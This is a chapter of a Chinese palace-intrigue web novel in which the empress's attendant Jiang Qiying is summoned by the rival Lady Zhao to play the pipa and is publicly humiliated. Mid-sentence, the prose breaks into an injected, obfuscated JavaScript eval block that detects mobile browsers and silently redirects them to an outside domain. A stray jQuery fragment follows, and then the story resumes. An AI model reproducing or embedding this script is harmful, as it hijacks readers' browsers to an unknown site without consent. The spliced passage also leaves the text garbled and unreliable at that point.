“赵夫人想要听我弹琵琶?”
罗荃随薛蕴去式乾殿复命的次日午后,江绮英正在后厨帮忙盯着医官新给皇后配的补药,春江便火急火燎地跑进来,把她拉进了皇后的寝殿。
殿中除了春江,只留了两个皇后从益州带进洛阳的心腹,江绮英一眼扫过去,看过所有人的神情,仿佛又碰到了什么难缠的麻烦。
于是她向皇后行了礼,方小心问:“是怎么一回事?”
年纪最长的杜若回道:“芙蓉殿那边的意思是,江娘子才冠洛阳,她家夫人早有耳闻,也早就有心想要一会,可谁知之前一直忙于宫务不得空,现下既然有罗大监从旁协助,她闲时想起这事,便想请娘子过去芙蓉殿坐坐,还说若是当真弹得好,便亲自替娘子引荐,让娘子有机会在立冬宴上为陛下和皇后献艺呢。”
江绮英听得眉梢微微一挑,春江更是气得狠啐一口:“呸!绮英是我们长秋宫的女尚书,就算要在立冬宴献艺,也轮不到她越俎代庖!依我看,她这时候叫绮英过去,肯定没安好心!”
春江心性纯直,连她都看出来赵宁玉来者不善,江绮英和皇后心里自然也有数。
可赵宁玉除了她初入宫那天来过一此长秋宫,素日是根本不可能踏足的。
她平时也谨慎,依着春江的说法,从不与芙蓉殿的人有所往来。
按说赵宁玉应该根本不会注意到她的,为何这一次偏偏就指名了要找她呢?
……难道是昨日罗荃护凤印的事,被她发觉主意是她出的了?
不应该啊,她虽出了主意,可当时在场的人除了薛蕴,就是现在殿里的这几位,都是跟随皇后多年的亲信,口风极严,根本不可能会将这件事说出去。
问题不在长秋宫,那就只能是……
江绮英在心里轻笑了一声。
好狠心的阿蕴啊,明明他们现在也算是一条船上的人了,她给他最敬爱的义母帮了这么大的忙,他竟然还能说翻脸就翻脸,转过头把消息透给了芙蓉殿。
哎呀呀,也不知是跟谁学的。
真是不像话。
现在好了,赵宁玉找上了门,嘴上说是要听她弹曲,引荐她在立冬宴上献艺,可凭赵宁玉的跋扈脾性,她只要出了长秋宫的门,谁又能确定会不会有什么意外呢?
所有人都不免为江绮英忧心不已,转头看向榻上的皇后:“娘娘,这可如何是好?”
皇后这时刚刚起身,连头发都没来得及重新梳起,正散着一头青丝倦倦半坐在榻上。
她的眉目和神情都比较淡,像是在静静沉思着,垂落的眼神里却有着无望的疲态。
江绮英其实知道,她应是从来都无意和赵宁玉争斗的。
可她身处后宅主母、中宫皇后的位置上,和其他女人的地位天然对立,即使她毫无战意,可为了身边的人,却也没办法去回避别人的进攻。
江绮英才来到她身畔月余,她也一直对她颇为照顾,同样是寄居他人屋檐下,比起从前在江家的十年,她这段时间简直如在神仙地。
哪怕真只是为了薛蕴高兴,但江绮英认定论迹不论心的道理,是以昨日献策助她时,也在算计中多掺了几分真心。
何况今日本也算不上死局,她若真要舍了她去,江绮英也不觉得有什么。
只是她大概还困于自己给自己设置的道德门槛里,还在等人将她拉出来呢。
“没事的娘娘,让我去吧。”江绮英如是道。
“可是……”
皇后不觉抬眼看向她,心疼和担忧的神色落在江绮英眼里,她相信她是真心。
江绮英笑着走过去握住她的手,温声宽慰道:“娘娘莫要忘了,我除了是长秋宫的女尚书,还是建康江氏的义女,江氏虽微,却也在京立户多年,芙蓉殿若能想通前番事端的关窍,自然会投鼠忌器,不会真拿我怎么样的。”
再再者,她也已经因此给自己找到了一条新的门路。
-
江绮英换了身衣裳便独自去了芙蓉殿。
午后风雪依旧,她又要撑伞又要抱琵琶,艰难地独行墙根底下,时常需要从堆积的冷雪里走过,弄得她的鞋袜裙摆又湿又冷,等她来到芙蓉殿前,双脚已经冻得没有知觉了。
谁知就是这般的不凑巧,等她将门扣开,却听缩在门下的小黄门说:“我家夫人此刻正看清商署的乐工们彩排歌舞呢,并不在殿中,不过主子吩咐了,若是江娘子来了,便让您去九华台见她。”
九华台虽与芙蓉殿相隔不远,但一则新帝明明已经在昨日给了旨意,要罗荃代皇后主持立冬宴操办,芙蓉殿不必再劳心费神了,她却充耳不闻,仍在插手。
二来这么冷的天,还要她抱着笨重的乐器如此奔波,很难不让怀疑她赵宁玉就是故意的。
然而以江绮英现在的身份,也不能说什么,只能咬着牙,辞过小黄门,转身继续上路。
等她辗转来到天渊池上的九华台,未临台上,远远地便已听到了从中传来的丝竹管弦之音。
台上人多,又有贵人在,肯定供了暖盆,江绮英忙朝里快赶了两步,正好在一踏上九华台前的台阶上时,就看到了其中端坐高位的赵宁玉。
只见她一身奢华的孔雀蓝银鼠裙裾,用足了彩线绣绘,随着光线变化流光溢彩,和她深而水亮的皮肤以及头上金灿灿的雀冠互相映衬,让她犹如一尾矜傲优雅的蓝孔雀,又似洞窟壁画上一尊宝相庄严的佛陀。
江绮英不管看多少次,都会惊叹于她的美貌以及她和中原格格不入却又特立独行的穿衣风格。
“原来你就是江绮英。”
赵宁玉也远远就注意到了她。
如她初见她时的匆匆一眼,又如东都城中传说的那样,她的五官骨相清丽流畅,却并不寡淡,天生上翘的眼尾和嘴角,还有两靥嫣红,为她平添了几分恰到好处的娇媚。
一身最普通的宫装都能让她穿出一种柔婉可怜的风情。
“这洛阳第一美人,果然不曾浪得虚名。”
江绮英俯身向她行过大礼,嘴上也简单地客气回去:“夫人谬赞,奴婢鄙陋,哪及得上夫人倾国倾城?”
赵宁玉其实不大熟悉中原文化,听懂一个倾国倾城,知道是个难得好词儿,便不禁灿然笑开:“江娘子的嘴真甜,不过本宫终究是上年纪了,哪里比得了你们这样年华正好,人比花娇的年纪呢?可会弹一曲《野有死麕》?”
她的性子爽利也跳脱,夹枪带棒的话说完,都不给人反应的时机,便很快跳到了下一个话题。
江绮英微微一怔,方才想起她说的这首民俗曲子正是《诗经》中的一支,写的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209411|178803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却是男女于野外相会,欲行敦伦的情事。
诗词本身率性淳朴,然前朝帝王却将诗文视为政教之物,士大夫为此便对大部分的诗文进行了四分五裂的功利曲解。
而此一篇便因为过于直白奔放的词句,便批判为淫邪浮浪,寡廉鲜耻之作,除了烟花柳巷,绝不会有人公然提及,尤其是洛阳城里那些自恃身份的贵女。
“这……”江绮英对此其实无感,只为了显得不那么特殊,方才故作为难和羞赧。
赵宁玉不屑一笑:“中原的姑娘就是面皮薄,经不起逗。好了好了,你就会什么来什么吧,左右本宫是个俗的,就能听懂个响而已。”
江绮英乖巧应是。
然而芙蓉殿的人像是故意要她难堪一般,全都定定地站在原地,就这么仿佛要看好戏般似笑非笑地盯着她,并无一人帮忙张罗,为她置一个妥帖坐席。
江绮英深知自己今日就是来受辱的,眼前这般场面应当不过是开胃小菜,她倒是不在意,也更加好奇之后还有什么在等着她。
遂干脆就挽着裙膝席地而坐,琵琶在怀,信手一拨。
赵宁玉虽自谦粗俗,却未必是当真完全不懂音律,江绮英便想着还是弹一曲《陌上桑》这样为人熟知的乐府曲,横竖都不出错。
「日出东南隅,照我秦氏楼。」
「秦氏有好女,自名为罗敷……」
“停停停。”
谁知琵琶弦音才将起兴,半阙未至,赵宁玉却忽而抚掌,出言打断,“娘子的琵琶果真是万中无一,这立冬宴上若无娘子一席,是我们所有人的损失。”
说着,她便又故作殷勤地回过头对侍立在侧的清商丞道:“清商丞,和所有乐工都说一声,从今日起,立冬宴上所有的曲目都以江娘子的琵琶为主乐,不可喧宾夺主。”
江绮英心口一冷。
清商丞闻言亦大惊失色,连忙躬身求告:“回禀夫人,如今离立冬宴不足两日,现在要求乐工们更换主乐,编曲乐调重新排布,时间只怕有些赶不及,还请夫人三思啊。”
赵宁玉却道:“重排曲目是你们清商署该考虑的事,若是做不到,你们也知道啊,我新朝天家门户不高,又值开国之初,百废待兴的时候,远远及不上前朝雍容富贵,有穷奢极欲的资本,可养不起那么多吃闲饭的。”
“这…这……”清商丞急得满头大汗,就差给她跪下磕头了:“夫人三思啊……”
赵宁玉沉着脸色不语,她身边那个牙尖嘴利的异族婢女便又替她发起难来:
“真是反了天了!之前我家夫人说什么你们都有回绝的理由!现如今顺了你们的意,让你们的人有机会在立冬宴上露脸,你们却还不领情?!哼!依我看你们就是故意针对我家夫人,以为我们赵家没人呢!”
“诺玛。”
等她气吼吼骂完,赵宁玉方才装模作样地出言阻止,余光见乐工之中仍有愤愤不平,欲冲上来打抱不平者,她的眸光便也在一瞬间冷下去几分。
“今日江娘子就留在九华台,立冬宴上若是本宫见不到人登台,清商署上下本宫是撼动不得,但本宫可有的是法子对付你们家里人。”
说罢,她便领着她芙蓉殿一群人“浩浩荡荡”地拂袖而去,只留下江绮英一个人,独自面对清商署众人愤然恼恨的目光。